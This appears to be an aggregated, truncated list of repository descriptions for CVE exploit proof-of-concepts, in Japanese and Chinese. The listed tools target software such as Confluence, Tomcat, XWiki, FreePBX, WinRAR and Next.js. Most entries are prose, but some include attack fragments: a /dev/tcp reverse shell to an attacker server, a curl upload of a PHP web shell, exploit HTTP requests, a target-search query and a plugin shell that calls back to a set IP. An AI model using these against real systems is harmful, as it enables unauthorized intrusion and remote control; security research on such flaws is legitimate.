CVE-2022-22947

CVE-2022-22947 SpringCloudGatewayRCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 リスク概要 本ツールは許可されたセキュリティテスト専用であり、無許可の不正攻撃サイトへの使用を禁止します。 オンラインで読む《中華人民共和国ネットワーク安全法》 0x01 ツールの使用 実行中に表示されるプロンプトに従ってください。 0x02 バグの問題 バグはIssuesに送信してください。時間があれば確認します。...

CVE-2022-1388

CVE-2022-1388 F5のBIG-IP製品のiControl REST API機能にリモートコード実行の脆弱性が存在します。認証されていないリモート攻撃者は、これを悪用して認証をバイパスし、root権限で任意のコマンドを実行できます。 使い方 python3 f5bigipscanner.py...

CVE-2021-21551

CVE-2021-21551 Dellのdbutil23ドライバを悪用するPoC。HVCIが無効になっているシステムでコード実行を実現します（下図参照）： 出力： このコードの解説はこちら：https://ch3rn0byl.com/2021/05/a-dell-cve-2021-21551/...

CVE-2023-38831-PoC

CVE-2023-38831 PoC このリポジトリは、WinRAR の CVE-2023-38831 ゼロデイ脆弱性に対する Proof-of-Concept に過ぎません。 RARLabs WinRAR 6.23 より前のバージョンでは、ユーザーが ZIP アーカイブ内の無害なファイルを表示しようとすると、攻撃者が任意のコードを実行できる可能性があります。この問題は、ZIP アーカイブに無害なファイル（通常の .JPG...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 是 Apache Tomcat 中一个严重的远程代码执行（RCE）漏洞。 该漏洞影响版本 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81。 仅在 8.0.24 上测试过。漏洞利用了应用程序或 Tomcat 实例本身配置不当的 PUT 选项。 它使用 PUT 将反向 shell 有效载荷发送到服务器并执行，同时用 netcat 监听。 由于互联网上存在许多相同漏洞的利用版本但基于 python2，我将其重写为与 Python 3 兼容。 祝玩得愉...

cve-2025-24893-poc

CVE-2025-24893 — XWiki 未授权远程代码执行（PoC） 针对 CVE-2025-24893 的概念验证漏洞利用程序，该漏洞是 XWiki 中的一个严重未授权 远程代码执行 漏洞。 此漏洞利用程序滥用了 SolrSearch 端点中的 Groovy 模板注入，无需认证即可执行任意命令（包括反弹 Shell）。 💥 漏洞详情 XWiki 处理发送给 SolrSearch RSS 端点的精心构造的输入时存在一个缺陷，允许攻击者将 Groovy 代码注入到渲染管道中。 这使得攻击者可以通过 groovy 脚本块实现 未授权远程代码执行 。 ✅ 受影响版本 = 16.0.0 a...

CVE-2014-6271

CVE-2014-6271 説明 このプロジェクトは、CVE-2014-6271 （別名 Shellshock ）の脆弱性を再現するためのものです。ShellshockはBashのセキュリティ脆弱性であり、環境変数を介して悪意のあるコードを実行することを可能にします。 このプロジェクトの目的は、Docker環境におけるこの脆弱性の影響を実証することです。 前提条件 始める前に、Dockerがマシンにインストールされていることを確認してください。Dockerはこちらからダウンロードできます。 インストールと起動 1. Dockerイメージの構築...

CVE-2023-34152

CVE-2023-34152 RCE脆弱性、ImageMagick 6.9.6-4 に影響します。この脆弱性により、攻撃者は被害者のシステム上でコマンドを実行できます。これにより、リモートコマンド実行が可能になります。 これは、fullwaywangによるCVE-2023-34152の発見に触発されたPOCです。 脆弱性の開示 Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 説明 OpenBlobにおける任意のコード実行脆弱性（シェルコマンドインジェクション）であり、実際にはCVE-2016-5118への不完全な修正です。...

Tryhackme_Billing

TryhackmeBilling Billing CTF マシンCVE-2023-30258リモートコード実行...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 未認証リモートコード実行 Python 3 を使用 Docker を使用しない場合: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py Docker を使用する場合: git clone...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX 未認証SQLi → RCE FreePBX Endpoint Manager の未認証SQLインジェクション（CVE-2025-57819）を利用したワンショットエクスプロイトで、FreePBX cronjobs テーブルを介したリモートコード実行に連鎖させます。 許可されたセキュリティテスト / CTF 使用のみを対象としています。 脆弱性 エンドポイントモジュールのajaxハンドラは brand パラメータをSQLクエリに直接連結し、モジュールパス FreePBX\modules\endpoint\ajax...

Liferay-CE-Portal-Java-Deserialization

Liferay-CE-Portal-Java-Deserialization 此仓库包含 Liferay CE Portal 远程代码执行漏洞的 PoC！ 有效载荷 我已在仓库中分享了有效载荷。你必须通过暴力破解方法找到正确的语法。我分享的有效载荷用于基于时间的概念验证（sleep 10）。应用程序可能并不总是输出命令。因此，在进行 PoC 时，你应该尝试基于时间的有效载荷。 概念验证 POST /api/liferay HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:72...

Next.js-RSC-RCE-Scanner-Burp-Suite-Extension

Next.js RSC RCE 扫描器（Burp Suite 扩展） 一个高保真的 Burp Suite 扩展，用于检测 Next.js / React 服务端组件 RSC 远程代码执行 漏洞（CVE-2025-55182 及 CVE-2025-66478 ）。 本扩展实现了由 Searchlight 网络安全研究团队 发现的检测逻辑。它发送一个特定格式恶意 multipart 请求，以触发 RSC 流中 undefined 对象上的属性访问崩溃。 漏洞详情 CVE 编号： CVE-2025-55182, CVE-2025-66478 严重程度： 高 / 严重 受影响软件：...

CVE-2024-32113

CVE-2024-32113 Apache OFBIZ 路径遍历导致 RCE 的 EXP。 Apache OFBiz 存在对受限目录的路径名限制不当（'路径遍历'）漏洞。该问题影响 Apache OFBiz：18.12.14不含 之前的版本。建议用户升级到修复了该问题的 18.12.14 版本。 fofa 查询 app="ApacheOFBiz" POC POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host:...

CVE-2025-55182-demo

CVE-2025-55182 — デモ このリポジトリは、脆弱なNext.jsアプリケーションでリモートコード実行（RCE）を可能にするCVE-2025-55182 脆弱性のデモンストレーションを提供します。 参考文献: CVEエントリ: https://vulners.com/cve/CVE-2025-55182 関連PoC: https://github.com/msanft/CVE-2025-55182 !WARNING このデモンストレーションは、セキュリティ研究、テスト、教育目的でのみ提供されています。明示的な許可がないシステムに対して使用しないでください。 はじめに 前提条件...

CVE-2025-0868

渗透测试项目报告：利用CVE-2025-0868 DocsGPT JSON Eval远程代码执行 1. 引言 一个严重的远程代码执行RCE漏洞CVE-2025-0868于2025年2月20日被披露，存在于开源DocsGPT库中，由在解析JSON有效载荷时不安全地使用eval函数引起。 关键细节： 影响DocsGPT 0.8.1至0.12.0版本 CVSS 4.0评分为9.3（严重） 允许未经身份验证、可通过网络访问的代码注入 对机密性、完整性和可用性造成全面影响 关于CVE-2025-0868...

CVE-2026-35585-poc

CVE-2026-35585: File Browser OSコマンドインジェクション PoC English version 概要 このリポジトリは、File Browser （バージョン 2.0.0 から 2.33.1）で発見された重大なOSコマンドインジェクション脆弱性 CVE-2026-35585 のProof of Concept（PoC）です。 この脆弱性は「Custom Command Hooks」機能に存在します。シェル実行時に $FILE や $USERNAME...

CVE-2022-26134

CVE-2022-26134 リモート攻撃者は認証なしでOGNL式を注入し、Confluence ServerまたはData Center上で任意のコードを実行できます。POCを修正し、getshellを容易にします。一般的なポート:8090 影響を受けるバージョン Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1 使用例 python3 CV...

SSCMS-PluginShell

VisualStudioをインストール 2. このプロジェクトをインポート 3. Startup.csファイルのIPAddress.Parseの値を変更 using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using System.Text; using...